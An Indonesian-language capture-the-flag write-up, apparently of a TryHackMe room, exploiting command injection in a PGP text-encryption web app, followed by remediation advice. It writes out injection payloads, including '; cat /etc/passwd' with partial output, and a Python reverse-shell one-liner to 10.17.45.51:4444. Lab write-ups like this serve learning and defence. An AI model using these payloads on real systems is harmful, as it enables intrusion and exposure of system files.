Aplikasi ini memungkinkan pengguna memasukkan teks untuk dienkripsi. Namun, input pengguna tidak divalidasi dengan baik, memungkinkan eksekusi perintah sistem dengan karakter seperti $(command), ;, atau &&.
Disini saya mencoba beberapa kali memasukan text yang akan di encrypt dan tampilannya akan seperti pada gambar dibawah ini.
Kemudian jika memasukan text "#", terlihat pada bagian output bahwa ada sebuah script python "enc.py" yang dijalankan untuk generate enkripsi ini.
Saya mencoba teknik untuk command injection seperti dibawah ini tetapi masih belum berhasil.
Hasil percobaan:
text to encrypt: "$(ls -la /)
Encrypt output:
ShadowPacket:
-----BEGIN PGP MESSAGE-----
hQEMA+5Vk8kCoHjDAQf/fq/+O7kppOI0DFiA9R9kLPcROTJT1QgHgiqUgewMhTII
P2+03dY3y/7lx38XFe8ZV+b5GzidBgxdGYeL4/BDVBHV1dKnQ0sR/6mFJEuZsVD7
Jo0JfLRQQzUrTXSFeEKSOeonltIaENi53Ca8RnwnLZeprp8ak93WI17P5qLXOM9y
fSlMQzddvZHZ7Ou5wbfzlCPcmVnszBthO1f8mAf1VDUiDxAkG5wuTFH2Onzo4ilq
CDFzXb/qrKq91ImOv/3EiW+/ymoQkWYesShIj7j84hCRWIy7a4f+i23blMtxtA7V
ZO+wk8DMhoMRJWvIZd2xPNrkUxeh0iCXoBNsYYE7mdRLAQkCEDCXs/iOTFipRnsS
00eQtyYYFv+MdE6xut9HcyV2Yn9QUUwj5yLO4rzmT4BbZWj6P4gF6Y5iKSU7B5Wp
0DSH1cqBe9Khe2Qv
=ScJR
-----END PGP MESSAGE-----
Saya ganti payload
-text to encrypt: ; cat /etc/passwd
Encrypted Output:
Usage: python3 enc.py -r <recipient> -t <text>
root:x:0:0:root:/root:/bin/bash
<SNIP>
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
polkitd:x:997:997:User for polkitd:/:/usr/sbin/nologin
Dari sini diketahui bahwa terdapat kerentanan command injection
Hasil pada gambar dibawah, menunjukkan bahwa server merespons dengan menampilkan isi file `/etc/passwd`, yang berisi daftar pengguna sistem.
*Sebenarnya dari sini saja kita sudah bisa mendapatkan flag dengan command "cat flag.txt" tetapi saya ingin mencoba teknik lain ^^
Saya mencoba untuk mendapatkan Reverse Shell
; python3 -c 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.45.51",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Benar saja, saya berhasil masuk dan mendapatkan Flag
Ouput Pesan yang didekripsi:
THM{pgp_cant_stop_me}
Kerentanan ini memungkinkan penyerang mengeksekusi perintah sistem melalui fitur enkripsi yang tidak divalidasi dengan baik.
Validasi dan Escape Input:
Terapkan whitelist karakter yang diperbolehkan dalam input.
Gunakan fungsi seperti shlex.quote() di Python atau escapeshellarg() di PHP untuk mencegah eksekusi shell.
Gunakan API, Bukan Command-Line Langsung:
Hindari memanggil system() atau exec() langsung dari input pengguna.
Gunakan pustaka native seperti gnupg di Python untuk enkripsi tanpa interaksi shell.
Batasi Hak Akses Proses:
Jalankan proses dengan akun non-root.
Gunakan container atau sandbox untuk membatasi akses ke sistem.